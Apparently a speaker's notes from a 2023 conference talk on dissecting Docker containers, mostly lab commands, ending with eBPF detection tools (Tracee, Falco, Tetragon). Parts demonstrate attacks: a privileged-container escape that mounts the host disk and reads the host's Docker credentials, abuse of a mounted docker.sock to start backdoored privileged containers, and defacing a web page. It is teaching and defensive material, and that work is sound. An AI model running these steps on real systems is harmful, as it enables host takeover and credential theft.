19-10-2023 Annacon
These are notes from my talk at https://annacon.be/ 2023.
Dissecting container and pods
You can find the recording (in Dutch) and slides over here at https://annacon.be/0x7e7_media/
Running containers is easy
Docker host
ubuntu machine
public ip address
security group 80, 443, 8080, 8081
Install docker
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh ./get-docker.shsudo groupadd docker
sudo usermod -aG docker $USER
newgrp dockerRunning our first container
export IP="x.x.x.x"docker run -d -p 8080:80 --name www nginx:1.24docker run -d -p 8081:80 --name www2 nginx:1.25curl -kv $IP:8080curl -kv $IP:8081Creating our first image
mkdir ./lab1
cd lab1echo "My Annacon secret" >./secret.txtcat >Dockerfile <<EOF
FROM ubuntu:20.04
ADD ./secret.txt /secret.txt
RUN apt-get update && apt-get install -y curl netcat
RUN rm -f /secret.txt
CMD bash
EOFdocker build -t myimage ./.docker run -it myimagedocker tag myimage xxradar/myimage:01docker logindocker push xxradar/myimage:01docker run -it xxradar/myimage:01Dissecting the image
mkdir ../lab2
cd ../lab2docker save xxradar/myimage:01 >image.tartar xfv ./image.tarcat manifest.json | jq -r Finding secret.txt
secret.txtExplore and untar all the layers
tar xfv ./layer.tarDissecting a running container
mkdir ../lab3
cd ../lab3docker inspect wwwStorage
docker inspect www | jq -r '.[].LogPath'docker inspect www | jq -r '.[].GraphDriver'sudo ls /var/lib/docker/overlay2/dbe8c23813804c767695f142a99d5f1669552b853c989f9ef6182cbd87efe802/diffdocker exec -it www bashecho secretoftheday >text.txtsudo ls /var/lib/docker/overlay2/dbe8c23813804c767695f142a99d5f1669552b853c989f9ef6182cbd87efe802/diffsudo cat /var/lib/docker/overlay2/dbe8c23813804c767695f142a99d5f1669552b853c989f9ef6182cbd87efe802/diff/test.txtProcesses and namespaces
mkdir ../lab4
cd ../lab4export PID=$(docker inspect www | jq -r '.[].State.Pid')
echo $PIDsudo ps -ax -n -o pid,netns,utsns,ipcns,mntns,pidns,cmd | grep $PIDexport NETNS="4026532287"sudo ps -ax -n -o pid,netns,utsns,ipcns,mntns,pidns,cmd | grep $NETNSEntering a container
nsenter -t $PID -aapt-get update && apt-get install procpsps auxcurl https://www.radarhack.com/dir/demo/hosts.txt -o /etc/hostscurl www.google.comcat /usr/share/nginx/html/index.htmlecho hacking at annacon >> /usr/share/nginx/html/index.htmlPrivileged
docker run -d --privileged --name www3 nginx:1.25docker exec -it www3 bashmkdir /tmp/host-fs
mount /dev/root /tmp/host-fs/cd /tmp/host-fs/
cat /tmp/host-fs/home/ubuntu/.docker/config.jsonMounting issues
docker run -d -v /var/run/docker.sock:/var/run/docker.sock --name www4 nginx:1.25docker exec -it www4 bashcurl https://download.docker.com/linux/static/stable/x86_64/docker-24.0.6.tgz -O
tar xzvf ./docker-24.0.6.tgz
cd docker
./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock run -d --name hackpod xxradar/hackon sleep 900
./docker -H unix:///var/run/docker.sock run -d --privileged --name hackpodpriv xxradar/ubuntu_infected:annacon sleep 500 &
./docker -H unix:///var/run/docker.sock run -d --privileged -v /var/run/docker.sock:/var/run/docker.sock --name hackpod_backdoor xxradar/ubuntu_infected:annacon "bash -c sleep 500 &"apt listeBPF
Tracee
docker run --name tracee --rm -it \
--pid=host \
--cgroupns=host \
--privileged \
-v /etc/os-release:/etc/os-release-host:ro \
aquasec/tracee:latestFalco
sudo curl -s https://falco.org/repo/falcosecurity-packages.asc |sudo apt-key add -
sudo echo "deb https://download.falco.org/packages/deb stable main" | sudo tee -a /etc/apt/sources.list.d/falcosecurity.list
sudo apt-get update -y
sudo apt-get install -y falco
- rule: spawned_process_in_test_container
desc: A process was spawned in the test container.
condition: container.name = "falco-test" and evt.type = execve
output: "%evt.time,%user.uid,%proc.name,%container.id,%container.name,command=%proc.cmdline"
priority: WARNINGfalco -r ./falco.rule
....Tetragon
docker run -d --name tetragon-container --rm --pull always \
--pid=host \
--cgroupns=host \
--privileged \
-v /sys/kernel/btf/vmlinux:/var/lib/tetragon/btf \
quay.io/cilium/tetragon-ci:latestdocker exec tetragon-container tetra getevents -o compactroot@ip-172-31-31-30:~# cat ./tracing_policy.yaml
# This tracing policy 'connect-only-local-addrs' will report attempts
# to make outbound TCP connections to any IP address other than those
# within the 127.0.0.0/8 CIDR, from the binary /usr/bin/curl. In
# addition it will also kill the offending curl process.
#
# Description:
# Report and block outbound TCP connections outside loopback from
# /usr/bin/curl.
#
# In production, this could be used to force processes to only connect
# to their side cars on their local loopback, and to treat transgressions
# as evidence of malicious activity, resulting in the process being
# killed.
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: "connect-only-local-addrs"
spec:
kprobes:
- call: "tcp_connect"
syscall: false
args:
- index: 0
type: "sock"
selectors:
- matchArgs:
- index: 0
operator: "NotDAddr"
values:
- "127.0.0.0/8"
matchBinaries:
- operator: "In"
values:
- "/usr/bin/curl"
matchActions:
- action: Sigkilldocker run -d --name tetragon-container --rm --pull always \
--pid=host --cgroupns=host --privileged \
-v $PWD/tracing_policy.yaml:/tracing_policy.yaml \
-v /sys/kernel/btf/vmlinux:/var/lib/tetragon/btf \
quay.io/cilium/tetragon-ci:latest \
--tracing-policy /tracing_policy.yamlPrevious20-12-2023 IPv6 summit @Google BrusselsNext25-05-2023 Cloud Native Computing Meetup Switzerland
Last updated